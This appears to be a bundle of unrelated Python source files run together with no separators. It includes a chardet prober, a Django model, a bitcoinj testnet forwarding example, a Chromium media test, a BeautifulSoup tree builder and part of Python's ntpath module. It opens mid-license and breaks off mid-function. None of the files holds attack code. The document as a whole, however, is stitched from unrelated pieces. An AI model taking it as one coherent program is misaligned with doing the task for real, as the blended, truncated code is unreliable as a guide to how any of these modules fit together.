# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
#   Mark Pilgrim - port to Python
#   Shy Shalom - original C code
#   Proofpoint, Inc.
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301  USA
######################### END LICENSE BLOCK #########################

import sys
from . import constants
from .charsetprober import CharSetProber


class MultiByteCharSetProber(CharSetProber):
    def __init__(self):
        CharSetProber.__init__(self)
        self._mDistributionAnalyzer = None
        self._mCodingSM = None
        self._mLastChar = [0, 0]

    def reset(self):
        CharSetProber.reset(self)
        if self._mCodingSM:
            self._mCodingSM.reset()
        if self._mDistributionAnalyzer:
            self._mDistributionAnalyzer.reset()
        self._mLastChar = [0, 0]

    def get_charset_name(self):
        pass

    def feed(self, aBuf):
        aLen = len(aBuf)
        for i in range(0, aLen):
            codingState = self._mCodingSM.next_state(aBuf[i])
            if codingState == constants.eError:
                if constants._debug:
                    sys.stderr.write(self.get_charset_name()
                                     + ' prober hit error at byte ' + str(i)
                                     + '\n')
                self._mState = constants.eNotMe
                break
            elif codingState == constants.eItsMe:
                self._mState = constants.eFoundIt
                break
            elif codingState == constants.eStart:
                charLen = self._mCodingSM.get_current_charlen()
                if i == 0:
                    self._mLastChar[1] = aBuf[0]
                    self._mDistributionAnalyzer.feed(self._mLastChar, charLen)
                else:
                    self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1],
                                                     charLen)

        self._mLastChar[0] = aBuf[aLen - 1]

        if self.get_state() == constants.eDetecting:
            if (self._mDistributionAnalyzer.got_enough_data() and
                    (self.get_confidence() > constants.SHORTCUT_THRESHOLD)):
                self._mState = constants.eFoundIt

        return self.get_state()

    def get_confidence(self):
        return self._mDistributionAnalyzer.get_confidence()

from django.core import validators
from django.db import models
from django.contrib.sites.models import Site
from django.utils.translation import ugettext_lazy as _


class FlatPage(models.Model):
    url = models.CharField(_('URL'), max_length=100, validator_list=[validators.isAlphaNumericURL], db_index=True,
        help_text=_("Example: '/about/contact/'. Make sure to have leading and trailing slashes."))
    title = models.CharField(_('title'), max_length=200)
    content = models.TextField(_('content'), blank=True)
    enable_comments = models.BooleanField(_('enable comments'))
    template_name = models.CharField(_('template name'), max_length=70, blank=True,
        help_text=_("Example: 'flatpages/contact_page.html'. If this isn't provided, the system will use 'flatpages/default.html'."))
    registration_required = models.BooleanField(_('registration required'), help_text=_("If this is checked, only logged-in users will be able to view the page."))
    sites = models.ManyToManyField(Site)

    class Meta:
        db_table = 'django_flatpage'
        verbose_name = _('flat page')
        verbose_name_plural = _('flat pages')
        ordering = ('url',)
    
    def __unicode__(self):
        return u"%s -- %s" % (self.url, self.title)

    def get_absolute_url(self):
        return self.url

# An example of how to use Jython to implement the "Getting Started" tutorial app, which receives coins and simply
# sends them on (minus a fee).

__author__ = "richard 'ragmondo' green"

import sys

# Change this to point to where you have a copy of the bitcoinj.jar
sys.path.append(r"/path/to/bitcoinj-core-0.12-bundled.jar")

# This is the address to forward all payments to. Change this (unless you want to send me some testnet coins)
my_address_text = "mzEjmna15T7DXj4HC9MBEG2UJzgFfEYtFo"

# 0 for instant send, 1 for a more realistic example
# if the wallet has no btc in it, then set to 1.
# if it has a confirmed balance in it, then you can set it to 0.
confirm_wait = 1

from org.bitcoinj.core import *

import org.bitcoinj.crypto.KeyCrypterException
import org.bitcoinj.params.MainNetParams
from org.bitcoinj.kits import WalletAppKit

from com.google.common.util.concurrent import FutureCallback
from com.google.common.util.concurrent import Futures

import java.io.File

import sys

def loud_exceptions(*args):
    def _trace(func):
        def wrapper(*args, **kwargs):
            try:
                func(*args, **kwargs)
            except Exception, e:
                print "** python exception ",e
                raise
            except java.lang.Exception,e:
                print "** java exception",e
                raise
        return wrapper

    if len(args) == 1 and callable(args[0]):
        return _trace(args[0])
    else:
        return _trace

@loud_exceptions
def forwardCoins(tx,w,pg,addr):
    v = tx.getValueSentToMe(w)
    amountToSend = v.subtract(Transaction.REFERENCE_DEFAULT_MIN_TX_FEE)
    sr = w.sendCoins(pg, addr, amountToSend)

class SenderListener(AbstractWalletEventListener):
    def __init__(self,pg,address):
        super(SenderListener,self). __init__()
        self.peerGroup = pg
        self.address = address

    @loud_exceptions
    def onCoinsReceived(self, w, tx, pb, nb):
        print "tx received", tx
        v = tx.getValueSentToMe(w)

        class myFutureCallback(FutureCallback):
            @loud_exceptions
            def onSuccess(selfx, txn):
                forwardCoins(tx,w,self.peerGroup, self.address)

        print "creating %s confirm callback..." % (confirm_wait)
        Futures.addCallback(tx.getConfidence().getDepthFuture(confirm_wait), myFutureCallback())

if __name__ == "__main__":
    params = org.bitcoinj.params.TestNet3Params.get()
    my_address = Address(params,my_address_text)
    filePrefix = "forwarding-service-testnet"
    f = java.io.File(".")
    kit = WalletAppKit(params, f, filePrefix);
    print "starting and initialising (please wait).."
    kit.startAsync()
    kit.awaitRunning()
    pg = kit.peerGroup()
    wallet = kit.wallet()
    sendToAddress = kit.wallet().currentReceiveKey().toAddress(params)
    print "send test coins to ", sendToAddress, "qrcode - http://qrickit.com/api/qr?d=%s" % (sendToAddress) # no affiliation with qrickit..
    sl = SenderListener(pg,my_address)
    wallet.addEventListener(sl)
    print "finished initialising .. now in main event loop"

#!/usr/bin/env python
# Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.

"""Seek performance testing for <video>.

Calculates the short and long seek times for different video formats on
different network constraints.
"""

import logging
import os

import pyauto_media
import pyauto_utils

import cns_test_base
import worker_thread

# Number of threads to use during testing.
_TEST_THREADS = 3

# HTML test path; relative to src/chrome/test/data.
_TEST_HTML_PATH = os.path.join('media', 'html', 'media_seek.html')

# The media files used for testing.
# Path under CNS root folder (pyauto_private/media).
_TEST_VIDEOS = [os.path.join('dartmoor', name) for name in
                ['dartmoor2.ogg', 'dartmoor2.m4a', 'dartmoor2.mp3',
                 'dartmoor2.wav']]
_TEST_VIDEOS.extend(os.path.join('crowd', name) for name in
                    ['crowd1080.webm', 'crowd1080.ogv', 'crowd1080.mp4',
                     'crowd360.webm', 'crowd360.ogv', 'crowd360.mp4'])

# Constraints to run tests on.
_TESTS_TO_RUN = [
    cns_test_base.Cable,
    cns_test_base.Wifi,
    cns_test_base.NoConstraints]


class SeekWorkerThread(worker_thread.WorkerThread):
  """Worker thread.  Runs a test for each task in the queue."""

  def RunTask(self, unique_url, task):
    """Runs the specific task on the url given.

    It is assumed that a tab with the unique_url is already loaded.
    Args:
      unique_url: A unique identifier of the test page.
      task: A (series_name, settings, file_name) tuple to run the test on.
    """
    series_name, settings, file_name = task

    video_url = cns_test_base.GetFileURL(
        file_name, bandwidth=settings[0], latency=settings[1],
        loss=settings[2])

    # Start the test!
    self.CallJavascriptFunc('startTest', [video_url], unique_url)

    logging.debug('Running perf test for %s.', video_url)
    # Time out is dependent on (seeking time * iterations).  For 3 iterations
    # per seek we get total of 18 seeks per test.  We expect buffered and
    # cached seeks to be fast.  Through experimentation an average of 10 secs
    # per seek was found to be adequate.
    if not self.WaitUntil(self.GetDOMValue, args=['endTest', unique_url],
                          retry_sleep=5, timeout=300, debug=False):
      error_msg = 'Seek tests timed out.'
    else:
      error_msg = self.GetDOMValue('errorMsg', unique_url)

    cached_states = self.GetDOMValue(
        "Object.keys(CachedState).join(',')", unique_url).split(',')
    seek_test_cases = self.GetDOMValue(
        "Object.keys(SeekTestCase).join(',')", unique_url).split(',')

    graph_name = series_name + '_' + os.path.basename(file_name)
    for state in cached_states:
      for seek_case in seek_test_cases:
        values = self.GetDOMValue(
            "seekRecords[CachedState.%s][SeekTestCase.%s].join(',')" %
            (state, seek_case), unique_url)
        if values:
          results = [float(value) for value in values.split(',')]
        else:
          results = []
        pyauto_utils.PrintPerfResult('seek', '%s_%s_%s' %
                                     (state, seek_case, graph_name),
                                     results, 'sec')

    if error_msg:
      logging.error('Error while running %s: %s.', graph_name, error_msg)
      return False
    else:
      return True


class MediaSeekPerfTest(cns_test_base.CNSTestBase):
  """PyAuto test container.  See file doc string for more information."""

  def __init__(self, *args, **kwargs):
    """Initialize the CNSTestBase with socket_timeout = 60 secs."""
    cns_test_base.CNSTestBase.__init__(self, socket_timeout='60',
                                       *args, **kwargs)

  def testMediaSeekPerformance(self):
    """Launches HTML test which plays each video and records seek stats."""
    tasks = cns_test_base.CreateCNSPerfTasks(_TESTS_TO_RUN, _TEST_VIDEOS)
    if worker_thread.RunWorkerThreads(self, SeekWorkerThread, tasks,
                                      _TEST_THREADS, _TEST_HTML_PATH):
      self.fail('Some tests failed to run as expected.')


if __name__ == '__main__':
  pyauto_media.Main()

import logging

from shelver.artifact import Artifact
from shelver.registry import Registry
from shelver.build import Builder
from .base import Provider


logger = logging.getLogger('shelver.provider.test')


class TestArtifact(Artifact):
    def __init__(self, id, **kwargs):
        super().__init__(**kwargs)
        self._id = id

    @property
    def id(self):
        return self._id


class TestRegistry(Registry):
    async def load_artifact_by_id(self, id, region=None, image=None):
        name, version = id.split(':')
        if not image:
            image = self.get_image(name)

        artifact = TestArtifact(self.provider, id, image=image,
                                version=version, environment='test')
        self.register_artifact(artifact)
        self.associate_artifact(artifact, image, version)
        return artifact

    async def load_existing_artifacts(self, region=None):
        pass


class TestBuilder(Builder):
    async def run_build(self, image, version, base_artifact=None,
                        msg_stream=None):
        image = self.registry.get_image(image)
        if not version:
            version = image.current_version
        else:
            assert version == image.current_version

        id = '{}:{}'.format(image.name, version)
        logging.info('Built fake artifact %s for image %s:%s', id,
                     image.name, version)

        artifact = {'id': id}
        return [artifact]


class TestProvider(Provider):
    name = 'test'
    aliases = ()

    artifact_class = TestArtifact
    registry_class = TestRegistry
    builder_class = TestBuilder

from __future__ import division, absolute_import
from __future__ import print_function, unicode_literals
import pandas as pd
from transfer_features import *


# process training data
biz2label = pd.read_csv("rawdata/train.csv", index_col=0)
photo2biz = pd.read_csv("rawdata/train_photo_to_biz_ids.csv", index_col=0)
biz2label.sort_index(inplace=True)

for biz_id, biz_label in biz2label.iterrows():
    photo_ids = photo2biz[photo2biz["business_id"] == biz_id].index
    batch_size = len(photo_ids)
    img_list = ['rawdata/train_photos/' + str(id) + '.jpg' for id in photo_ids]
    # pprint(img_list)
    out_file = 'features/inception-21k-global/' + str(biz_id) + '.npy'
    X = get_features(img_list, 'models/inception-21k/Inception', 9)
    np.save(out_file, X)
    print(out_file, 'finished!!')


# process test data
photo2biz = pd.read_csv("rawdata/test_photo_to_biz.csv")
photo_ids = photo2biz["photo_id"]
photo_ids = np.unique(photo_ids)

f = open("features/inception-21k-global-test.csv", 'w')
for photo_id in photo_ids:
    img_list = ['rawdata/test_photos/' + str(photo_id) + '.jpg']
    X = get_features(img_list, 'models/inception-21k/Inception', 9)[0, :]
    f.write(str(photo_id) + ',')
    f.write(",".join(X.astype(str)) + '\n')
    print(photo_id, 'finished!!')

# -*- coding: utf-8 -*-

"""
***************************************************************************
    ScriptUtilsTest
    ---------------------
    Date                 : February 2019
    Copyright            : (C) 2019 by Luigi Pirelli
    Email                : luipir at gmail dot com
***************************************************************************
*                                                                         *
*   This program is free software; you can redistribute it and/or modify  *
*   it under the terms of the GNU General Public License as published by  *
*   the Free Software Foundation; either version 2 of the License, or     *
*   (at your option) any later version.                                   *
*                                                                         *
***************************************************************************
"""

__author__ = 'Luigi Pirelli'
__date__ = 'February 2019'
__copyright__ = '(C) 2019, Luigi Pirelli'

import os
import shutil
import tempfile

from qgis.core import NULL, QgsApplication
from qgis.testing import start_app, unittest

from processing.script import ScriptUtils

testDataPath = os.path.join(os.path.dirname(__file__), 'testdata')

start_app()


class ScriptUtilsTest(unittest.TestCase):

    @classmethod
    def setUpClass(cls):
        cls.cleanup_paths = []

    @classmethod
    def tearDownClass(cls):
        for path in cls.cleanup_paths:
            shutil.rmtree(path)

    def testResetScriptFolder(self):
        # if folder exist
        defaultScriptFolder = ScriptUtils.defaultScriptsFolder()
        folder = ScriptUtils.resetScriptFolder(defaultScriptFolder)
        self.assertEqual(folder, defaultScriptFolder)
        folder = ScriptUtils.resetScriptFolder('.')
        self.assertEqual(folder, '.')
        # if folder does not exist and not absolute
        folder = ScriptUtils.resetScriptFolder('fake')
        self.assertEqual(folder, None)
        # if absolute but not relative to QgsApplication.qgisSettingsDirPath()
        folder = os.path.join(tempfile.gettempdir(), 'fakePath')
        newFolder = ScriptUtils.resetScriptFolder(folder)
        self.assertEqual(newFolder, folder)

        # if absolute profile but poiting somewhere
        # reset the path as pointing to profile into the current settings
        folder = QgsApplication.qgisSettingsDirPath()

        # modify default profile changing absolute path pointing somewhere
        paths = folder.split(os.sep)
        paths[0] = '/'
        paths[1] = 'fakelocation'
        folder = os.path.join(*paths)

        folder = ScriptUtils.resetScriptFolder(folder)
        self.assertEqual(folder, QgsApplication.qgisSettingsDirPath())


if __name__ == '__main__':
    unittest.main()

__all__ = [
    'HTML5TreeBuilder',
    ]

import warnings
from bs4.builder import (
    PERMISSIVE,
    HTML,
    HTML_5,
    HTMLTreeBuilder,
    )
from bs4.element import NamespacedAttribute
import html5lib
from html5lib.constants import namespaces
from bs4.element import (
    Comment,
    Doctype,
    NavigableString,
    Tag,
    )

class HTML5TreeBuilder(HTMLTreeBuilder):
    """Use html5lib to build a tree."""

    features = ['html5lib', PERMISSIVE, HTML_5, HTML]

    def prepare_markup(self, markup, user_specified_encoding):
        # Store the user-specified encoding for use later on.
        self.user_specified_encoding = user_specified_encoding
        yield (markup, None, None, False)

    # These methods are defined by Beautiful Soup.
    def feed(self, markup):
        if self.soup.parse_only is not None:
            warnings.warn("You provided a value for parse_only, but the html5lib tree builder doesn't support parse_only. The entire document will be parsed.")
        parser = html5lib.HTMLParser(tree=self.create_treebuilder)
        doc = parser.parse(markup, encoding=self.user_specified_encoding)

        # Set the character encoding detected by the tokenizer.
        if isinstance(markup, unicode):
            # We need to special-case this because html5lib sets
            # charEncoding to UTF-8 if it gets Unicode input.
            doc.original_encoding = None
        else:
            doc.original_encoding = parser.tokenizer.stream.charEncoding[0]

    def create_treebuilder(self, namespaceHTMLElements):
        self.underlying_builder = TreeBuilderForHtml5lib(
            self.soup, namespaceHTMLElements)
        return self.underlying_builder

    def test_fragment_to_document(self, fragment):
        """See `TreeBuilder`."""
        return u'<html><head></head><body>%s</body></html>' % fragment


class TreeBuilderForHtml5lib(html5lib.treebuilders._base.TreeBuilder):

    def __init__(self, soup, namespaceHTMLElements):
        self.soup = soup
        super(TreeBuilderForHtml5lib, self).__init__(namespaceHTMLElements)

    def documentClass(self):
        self.soup.reset()
        return Element(self.soup, self.soup, None)

    def insertDoctype(self, token):
        name = token["name"]
        publicId = token["publicId"]
        systemId = token["systemId"]

        doctype = Doctype.for_name_and_ids(name, publicId, systemId)
        self.soup.object_was_parsed(doctype)

    def elementClass(self, name, namespace):
        tag = self.soup.new_tag(name, namespace)
        return Element(tag, self.soup, namespace)

    def commentClass(self, data):
        return TextNode(Comment(data), self.soup)

    def fragmentClass(self):
        self.soup = BeautifulSoup("")
        self.soup.name = "[document_fragment]"
        return Element(self.soup, self.soup, None)

    def appendChild(self, node):
        # XXX This code is not covered by the BS4 tests.
        self.soup.append(node.element)

    def getDocument(self):
        return self.soup

    def getFragment(self):
        return html5lib.treebuilders._base.TreeBuilder.getFragment(self).element

class AttrList(object):
    def __init__(self, element):
        self.element = element
        self.attrs = dict(self.element.attrs)
    def __iter__(self):
        return list(self.attrs.items()).__iter__()
    def __setitem__(self, name, value):
        "set attr", name, value
        self.element[name] = value
    def items(self):
        return list(self.attrs.items())
    def keys(self):
        return list(self.attrs.keys())
    def __len__(self):
        return len(self.attrs)
    def __getitem__(self, name):
        return self.attrs[name]
    def __contains__(self, name):
        return name in list(self.attrs.keys())


class Element(html5lib.treebuilders._base.Node):
    def __init__(self, element, soup, namespace):
        html5lib.treebuilders._base.Node.__init__(self, element.name)
        self.element = element
        self.soup = soup
        self.namespace = namespace

    def appendChild(self, node):
        string_child = child = None
        if isinstance(node, basestring):
            # Some other piece of code decided to pass in a string
            # instead of creating a TextElement object to contain the
            # string.
            string_child = child = node
        elif isinstance(node, Tag):
            # Some other piece of code decided to pass in a Tag
            # instead of creating an Element object to contain the
            # Tag.
            child = node
        elif node.element.__class__ == NavigableString:
            string_child = child = node.element
        else:
            child = node.element

        if not isinstance(child, basestring) and child.parent is not None:
            node.element.extract()

        if (string_child and self.element.contents
            and self.element.contents[-1].__class__ == NavigableString):
            # We are appending a string onto another string.
            # TODO This has O(n^2) performance, for input like
            # "a</a>a</a>a</a>..."
            old_element = self.element.contents[-1]
            new_element = self.soup.new_string(old_element + string_child)
            old_element.replace_with(new_element)
            self.soup._most_recent_element = new_element
        else:
            if isinstance(node, basestring):
                # Create a brand new NavigableString from this string.
                child = self.soup.new_string(node)

            # Tell Beautiful Soup to act as if it parsed this element
            # immediately after the parent's last descendant. (Or
            # immediately after the parent, if it has no children.)
            if self.element.contents:
                most_recent_element = self.element._last_descendant(False)
            else:
                most_recent_element = self.element

            self.soup.object_was_parsed(
                child, parent=self.element,
                most_recent_element=most_recent_element)

    def getAttributes(self):
        return AttrList(self.element)

    def setAttributes(self, attributes):
        if attributes is not None and len(attributes) > 0:

            converted_attributes = []
            for name, value in list(attributes.items()):
                if isinstance(name, tuple):
                    new_name = NamespacedAttribute(*name)
                    del attributes[name]
                    attributes[new_name] = value

            self.soup.builder._replace_cdata_list_attribute_values(
                self.name, attributes)
            for name, value in attributes.items():
                self.element[name] = value

            # The attributes may contain variables that need substitution.
            # Call set_up_substitutions manually.
            #
            # The Tag constructor called this method when the Tag was created,
            # but we just set/changed the attributes, so call it again.
            self.soup.builder.set_up_substitutions(self.element)
    attributes = property(getAttributes, setAttributes)

    def insertText(self, data, insertBefore=None):
        if insertBefore:
            text = TextNode(self.soup.new_string(data), self.soup)
            self.insertBefore(data, insertBefore)
        else:
            self.appendChild(data)

    def insertBefore(self, node, refNode):
        index = self.element.index(refNode.element)
        if (node.element.__class__ == NavigableString and self.element.contents
            and self.element.contents[index-1].__class__ == NavigableString):
            # (See comments in appendChild)
            old_node = self.element.contents[index-1]
            new_str = self.soup.new_string(old_node + node.element)
            old_node.replace_with(new_str)
        else:
            self.element.insert(index, node.element)
            node.parent = self

    def removeChild(self, node):
        node.element.extract()

    def reparentChildren(self, new_parent):
        """Move all of this tag's children into another tag."""
        element = self.element
        new_parent_element = new_parent.element
        # Determine what this tag's next_element will be once all the children
        # are removed.
        final_next_element = element.next_sibling

        new_parents_last_descendant = new_parent_element._last_descendant(False, False)
        if len(new_parent_element.contents) > 0:
            # The new parent already contains children. We will be
            # appending this tag's children to the end.
            new_parents_last_child = new_parent_element.contents[-1]
            new_parents_last_descendant_next_element = new_parents_last_descendant.next_element
        else:
            # The new parent contains no children.
            new_parents_last_child = None
            new_parents_last_descendant_next_element = new_parent_element.next_element

        to_append = element.contents
        append_after = new_parent.element.contents
        if len(to_append) > 0:
            # Set the first child's previous_element and previous_sibling
            # to elements within the new parent
            first_child = to_append[0]
            first_child.previous_element = new_parents_last_descendant
            first_child.previous_sibling = new_parents_last_child

            # Fix the last child's next_element and next_sibling
            last_child = to_append[-1]
            last_child.next_element = new_parents_last_descendant_next_element
            last_child.next_sibling = None

        for child in to_append:
            child.parent = new_parent_element
            new_parent_element.contents.append(child)

        # Now that this element has no children, change its .next_element.
        element.contents = []
        element.next_element = final_next_element

    def cloneNode(self):
        tag = self.soup.new_tag(self.element.name, self.namespace)
        node = Element(tag, self.soup, self.namespace)
        for key,value in self.attributes:
            node.attributes[key] = value
        return node

    def hasContent(self):
        return self.element.contents

    def getNameTuple(self):
        if self.namespace == None:
            return namespaces["html"], self.name
        else:
            return self.namespace, self.name

    nameTuple = property(getNameTuple)

class TextNode(Element):
    def __init__(self, element, soup):
        html5lib.treebuilders._base.Node.__init__(self, None)
        self.element = element
        self.soup = soup

    def cloneNode(self):
        raise NotImplementedError

"""
Move a file in the safest way possible::

    >>> from django.core.files.move import file_move_safe
    >>> file_move_safe("/tmp/old_file", "/tmp/new_file")
"""

import os
from django.core.files import locks

try:
    from shutil import copystat
except ImportError:
    import stat
    def copystat(src, dst):
        """Copy all stat info (mode bits, atime and mtime) from src to dst"""
        st = os.stat(src)
        mode = stat.S_IMODE(st.st_mode)
        if hasattr(os, 'utime'):
            os.utime(dst, (st.st_atime, st.st_mtime))
        if hasattr(os, 'chmod'):
            os.chmod(dst, mode)

__all__ = ['file_move_safe']

def _samefile(src, dst):
    # Macintosh, Unix.
    if hasattr(os.path,'samefile'):
        try:
            return os.path.samefile(src, dst)
        except OSError:
            return False

    # All other platforms: check for same pathname.
    return (os.path.normcase(os.path.abspath(src)) ==
            os.path.normcase(os.path.abspath(dst)))

def file_move_safe(old_file_name, new_file_name, chunk_size = 1024*64, allow_overwrite=False):
    """
    Moves a file from one location to another in the safest way possible.

    First, tries ``os.rename``, which is simple but will break across filesystems.
    If that fails, streams manually from one file to another in pure Python.

    If the destination file exists and ``allow_overwrite`` is ``False``, this
    function will throw an ``IOError``.
    """

    # There's no reason to move if we don't have to.
    if _samefile(old_file_name, new_file_name):
        return

    try:
        os.rename(old_file_name, new_file_name)
        return
    except OSError:
        # This will happen with os.rename if moving to another filesystem
        # or when moving opened files on certain operating systems
        pass

    # first open the old file, so that it won't go away
    old_file = open(old_file_name, 'rb')
    try:
        # now open the new file, not forgetting allow_overwrite
        fd = os.open(new_file_name, os.O_WRONLY | os.O_CREAT | getattr(os, 'O_BINARY', 0) |
                                    (not allow_overwrite and os.O_EXCL or 0))
        try:
            locks.lock(fd, locks.LOCK_EX)
            current_chunk = None
            while current_chunk != '':
                current_chunk = old_file.read(chunk_size)
                os.write(fd, current_chunk)
        finally:
            locks.unlock(fd)
            os.close(fd)
    finally:
        old_file.close()
    copystat(old_file_name, new_file_name)

    try:
        os.remove(old_file_name)
    except OSError, e:
        # Certain operating systems (Cygwin and Windows) 
        # fail when deleting opened files, ignore it.  (For the 
        # systems where this happens, temporary files will be auto-deleted
        # on close anyway.)
        if getattr(e, 'winerror', 0) != 32 and getattr(e, 'errno', 0) != 13:
            raise

# Module 'ntpath' -- common operations on WinNT/Win95 pathnames
"""Common pathname manipulations, WindowsNT/95 version.

Instead of importing this module directly, import os and refer to this
module as os.path.
"""

import os
import sys
import stat
import genericpath
from genericpath import *

__all__ = ["normcase","isabs","join","splitdrive","split","splitext",
           "basename","dirname","commonprefix","getsize","getmtime",
           "getatime","getctime", "islink","exists","lexists","isdir","isfile",
           "ismount", "expanduser","expandvars","normpath","abspath",
           "splitunc","curdir","pardir","sep","pathsep","defpath","altsep",
           "extsep","devnull","realpath","supports_unicode_filenames","relpath",
           "samefile", "sameopenfile", "samestat",]

# strings representing various path-related bits and pieces
# These are primarily for export; internally, they are hardcoded.
curdir = '.'
pardir = '..'
extsep = '.'
sep = '\\'
pathsep = ';'
altsep = '/'
defpath = '.;C:\\bin'
if 'ce' in sys.builtin_module_names:
    defpath = '\\Windows'
devnull = 'nul'

def _get_empty(path):
    if isinstance(path, bytes):
        return b''
    else:
        return ''

def _get_sep(path):
    if isinstance(path, bytes):
        return b'\\'
    else:
        return '\\'

def _get_altsep(path):
    if isinstance(path, bytes):
        return b'/'
    else:
        return '/'

def _get_bothseps(path):
    if isinstance(path, bytes):
        return b'\\/'
    else:
        return '\\/'

def _get_dot(path):
    if isinstance(path, bytes):
        return b'.'
    else:
        return '.'

def _get_colon(path):
    if isinstance(path, bytes):
        return b':'
    else:
        return ':'

def _get_special(path):
    if isinstance(path, bytes):
        return (b'\\\\.\\', b'\\\\?\\')
    else:
        return ('\\\\.\\', '\\\\?\\')

# Normalize the case of a pathname and map slashes to backslashes.
# Other normalizations (such as optimizing '../' away) are not done
# (this is done by normpath).

def normcase(s):
    """Normalize case of pathname.

    Makes all characters lowercase and all slashes into backslashes."""
    if not isinstance(s, (bytes, str)):
        raise TypeError("normcase() argument must be str or bytes, "
                        "not '{}'".format(s.__class__.__name__))
    return s.replace(_get_altsep(s), _get_sep(s)).lower()


# Return whether a path is absolute.
# Trivial in Posix, harder on Windows.
# For Windows it is absolute if it starts with a slash or backslash (current
# volume), or if a pathname after the volume-letter-and-colon or UNC-resource
# starts with a slash or backslash.

def isabs(s):
    """Test whether a path is absolute"""
    s = splitdrive(s)[1]
    return len(s) > 0 and s[:1] in _get_bothseps(s)


# Join two (or more) paths.
def join(path, *paths):
    sep = _get_sep(path)
    seps = _get_bothseps(path)
    colon = _get_colon(path)
    result_drive, result_path = splitdrive(path)
    for p in paths:
        p_drive, p_path = splitdrive(p)
        if p_path and p_path[0] in seps:
            # Second path is absolute
            if p_drive or not result_drive:
                result_drive = p_drive
            result_path = p_path
            continue
        elif p_drive and p_drive != result_drive:
            if p_drive.lower() != result_drive.lower():
                # Different drives => ignore the first path entirely
                result_drive = p_drive
                result_path = p_path
                continue
            # Same drive in different case
            result_drive = p_drive
        # Second path is relative to the first
        if result_path and result_path[-1] not in seps:
            result_path = result_path + sep
        result_path = result_path + p_path
    ## add separator between UNC and non-absolute path
    if (result_path and result_path[0] not in seps and
        result_drive and result_drive[-1:] != colon):
        return result_drive + sep + result_path
    return result_drive + result_path


# Split a path in a drive specification (a drive letter followed by a
# colon) and the path specification.
# It is always true that drivespec + pathspec == p
def splitdrive(p):
    """Split a pathname into drive/UNC sharepoint and relative path specifiers.
    Returns a 2-tuple (drive_or_unc, path); either part may be empty.

    If you assign
        result = splitdrive(p)
    It is always true that:
        result[0] + result[1] == p

    If the path contained a drive letter, drive_or_unc will contain everything
    up to and including the colon.  e.g. splitdrive("c:/dir") returns ("c:", "/dir")

    If the path contained a UNC path, the drive_or_unc will contain the host name
    and share up to but not including the fourth directory separator character.
    e.g. splitdrive("//host/computer/dir") returns ("//host/computer", "/dir")

    Paths cannot contain both a drive letter and a UNC path.

    """
    empty = _get_empty(p)
    if len(p) > 1:
        sep = _get_sep(p)
        normp = p.replace(_get_altsep(p), sep)
        if (normp[0:2] == sep*2) and (normp[2:3] != sep):
            # is a UNC path:
            # vvvvvvvvvvvvvvvvvvvv drive letter or UNC path
            # \\machine\mountpoint\directory\etc\...
            #           directory ^^^^^^^^^^^^^^^
            index = normp.find(sep, 2)
            if index == -1:
                return empty, p
            index2 = normp.find(sep, index + 1)
            # a UNC path can't have two slashes in a row
            # (after the initial two)
            if index2 == index + 1:
                return empty, p
            if index2 == -1:
                index2 = len(p)
            return p[:index2], p[index2:]
        if normp[1:2] == _get_colon(p):
            return p[:2], p[2:]
    return empty, p


# Parse UNC paths
def splitunc(p):
    """Deprecated since Python 3.1.  Please use splitdrive() instead;
    it now handles UNC paths.

    Split a pathname into UNC mount point and relative path specifiers.

    Return a 2-tuple (unc, rest); either part may be empty.
    If unc is not empty, it has the form '//host/mount' (or similar
    using backslashes).  unc+rest is always the input path.
    Paths containing drive letters never have an UNC part.
    """
    import warnings
    warnings.warn("ntpath.splitunc is deprecated, use ntpath.splitdrive instead",
                  DeprecationWarning, 2)
    drive, path = splitdrive(p)
    if len(drive) == 2:
         # Drive letter present
        return p[:0], p
    return drive, path


# Split a path in head (everything up to the last '/') and tail (the
# rest).  After the trailing '/' is stripped, the invariant
# join(head, tail) == p holds.
# The resulting head won't end in '/' unless it is the root.

def split(p):
    """Split a pathname.

    Return tuple (head, tail) where tail is everything after the final slash.
    Either part may be empty."""

    seps = _get_bothseps(p)
    d, p = splitdrive(p)
    # set i to index beyond p's last slash
    i = len(p)
    while i and p[i-1] not in seps:
        i -= 1
    head, tail = p[:i], p[i:]  # now tail has no slashes
    # remove trailing slashes from head, unless it's all slashes
    head2 = head
    while head2 and head2[-1:] in seps:
        head2 = head2[:-1]
    head = head2 or head
    return d + head, tail


# Split a path in root and extension.
# The extension is everything starting at the last dot in the last
# pathname component; the root is everything before that.
# It is always true that root + ext == p.

def splitext(p):
    return genericpath._splitext(p, _get_sep(p), _get_altsep(p),
                                 _get_dot(p))
splitext.__doc__ = genericpath._splitext.__doc__


# Return the tail (basename) part of a path.

def basename(p):
    """Returns the final component of a pathname"""
    return split(p)[1]


# Return the head (dirname) part of a path.

def dirname(p):
    """Returns the directory component of a pathname"""
    return split(p)[0]

# Is a path a symbolic link?
# This will always return false on systems where os.lstat doesn't exist.

def islink(path):
    """Test whether a path is a symbolic link.
    This will always return false for Windows prior to 6.0.
    """
    try:
        st = os.lstat(path)
    except (OSError, AttributeError):
        return False
    return stat.S_ISLNK(st.st_mode)

# Being true for dangling symbolic links is also useful.

def lexists(path):
    """Test whether a path exists.  Returns True for broken symbolic links"""
    try:
        st = os.lstat(path)
    except OSError:
        return False
    return True

# Is a path a mount point?
# Any drive letter root (eg c:\)
# Any share UNC (eg \\server\share)
# Any volume mounted on a filesystem folder
#
# No one method detects all three situations. Historically we've lexically
# detected drive letter roots and share UNCs. The canonical approach to
# detecting mounted volumes (querying the reparse tag) fails for the most
# common case: drive letter roots. The alternative which uses GetVolumePathName
# fails if the drive letter is the result of a SUBST.
try:
    from nt import _getvolumepathname
except ImportError:
    _getvolumepathname = None
def ismount(path):
    """Test whether a path is a mount point (a drive root, the root of a
    share, or a mounted volume)"""
    seps = _get_bothseps(path)
    path = abspath(path)
    root, rest = splitdrive(path)
    if root and root[0] in seps:
        return (not rest) or (rest in seps)
    if rest in seps:
        return True

    if _getvolumepathname:
